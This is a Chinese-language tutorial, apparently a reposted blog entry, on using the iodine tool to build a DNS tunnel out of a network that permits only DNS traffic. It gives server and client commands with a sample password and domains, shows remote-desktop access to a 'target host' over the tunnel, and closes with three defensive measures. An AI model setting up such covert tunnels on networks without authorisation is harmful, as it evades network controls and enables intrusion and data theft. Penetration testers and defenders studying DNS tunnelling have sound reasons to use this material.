iodine 可以通过一台 dns 服务器制造一个 IPv4 数据通道, 特别适合在目标主机只能发送 dns 请求的网络中环境中使用. iodine 是基于 C 语言开发的, 分为服务端程序 iodined 和客户端程序 iodine.iodine 支持 EDNS,base32,base64,base128 等多种编码规范.
GitHub: https://github.com/boazsegev/iodine
iodine 支持直接转发和中继两种模式, 其原理是通过 TAP 虚拟网卡, 在服务端建立一个局域网; 在客户端, 通过 TAP 建立一个虚拟网卡; 两者通过 DNS 隧道连接, 处于同一局域网 (可以通过 ping 命令通信). 在客户端和服务端之间建立连接后, 客户机上会多出一块 "dns0" 的虚拟网卡.
DNS 隧道流程: iodine 客户端 ->DNS 服务商 ->iodined 服务端, 由于客户端和服务端都在同一个局域网, 那么只需要直接访问服务端, 如 3389, 就直接 mstsc,10.0.0.1:3389.
更多使用方法和功能特性请参考官方文档 https://code.kryo.se/iodine/
(1) 安装服务端
首先设置域名, 要尽可能的使用短域名, 域名越短, 隧道的带宽消耗就越小. 设置 A 记录 iodine 服务器的 IP 地址, 将 NS 记录指向此子域.
安装 iodine 服务端, 如果是在 Windows 中, 需要安装编译好的对应版本的 iodine.
apt-get install iodine
运行 iodine 服务端 iodined
iodined -f -c -P Micr067 192.168.0.1 VPN.abc.com -DD
-f: 在前台运行
-c: 禁止检查所有传入请求的客户端 IP 地址.
-P: 客户端和服务端之间用于验证身份的密码.
-D: 指定调试级别,-DD 指第二级."D" 的数量随级别增加.
这里的 192.168.0.1 是自定义的局域网虚拟 IP 地址.
(2) 安装客户端
Linux 环境:
iodine -f -P Micr067 VPN.payload.ltd -M 200
-r:iodine 有时会自动将 DNS 隧道切换为 UDP 隧道, 该参数的作用是强制在任何情况下使用 DNS 隧道
-M: 指定上行主机的大小.
-m: 调节最大下行分片的大小.
-T: 指定 DNS 请求类型 TYPE, 可选项有 NULL,PRIVATE,TXT,SRV,CNAME,MX,A.
-O: 指定数据编码规范.
-L: 指定是否开启懒惰模式, 默认开启.
-I: 指定两个请求之间的时间间隔.
Windows 环境:
Windows 客户端可以直接使用编译好的 Windows 版本, 同时需要安装 TAP 网卡驱动程序. 也可以下载 OpenVPN, 在安装时仅选择 TAP-Win32 驱动程序, 安装后服务器上就会多出一块 "TAP-Wndows ADApter V9" 的网卡.
运行客户端程序 iodine, 如果出现提示 "Connection setup complete, transmitting data", 就表示 DNS 隧道已经建立.
iodine -f -P Micr067 VPN.abc.com
此时, TCP over DNS 已经建立, 在客户端执行 "ping 192.168.0.1" 测试是否连通.
(3) 使用 DNS 隧道
DNS 隧道的使用方法比较简单, 由于客户端和服务端在同一局域网中, 只要直接访问服务端即可, 例如, 登录目标主机的 3389 端口, 就可以直接执行 mstsc 10.0.0.1:3389. 同样, 目标主机也可以直接通过 SSH 登录服务端.
(4) 防御 DNS 隧道攻击的方法
1. 禁止网络中任何人向外部服务器发送 DNS 请求, 只允许与受信任的 DNS 服务器通信.
2. 虽然没有人会将 TXT 解析请求发送给 DNS 服务器, 但是邮件服务器 / 网关会这样做, 因此, 可以将邮件服务器 / 网关列入白名单并阻止传入和传出流量中的 TXT 请求.
3. 跟踪用户的 DNS 查询次数, 如果达到阈值, 就生成相应的报告.
来源: https://www.cnblogs.com/micr067/p/12263337.html